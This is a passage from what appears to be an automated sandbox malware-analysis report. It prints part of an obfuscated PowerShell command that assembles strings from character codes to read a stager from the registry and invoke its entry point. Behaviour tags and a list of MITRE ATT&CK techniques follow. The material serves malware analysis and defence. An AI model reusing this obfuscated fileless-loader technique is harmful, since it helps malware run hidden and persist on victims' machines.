enSubkey(''+'S'+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue('$'+'S'+''+[Char](72)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion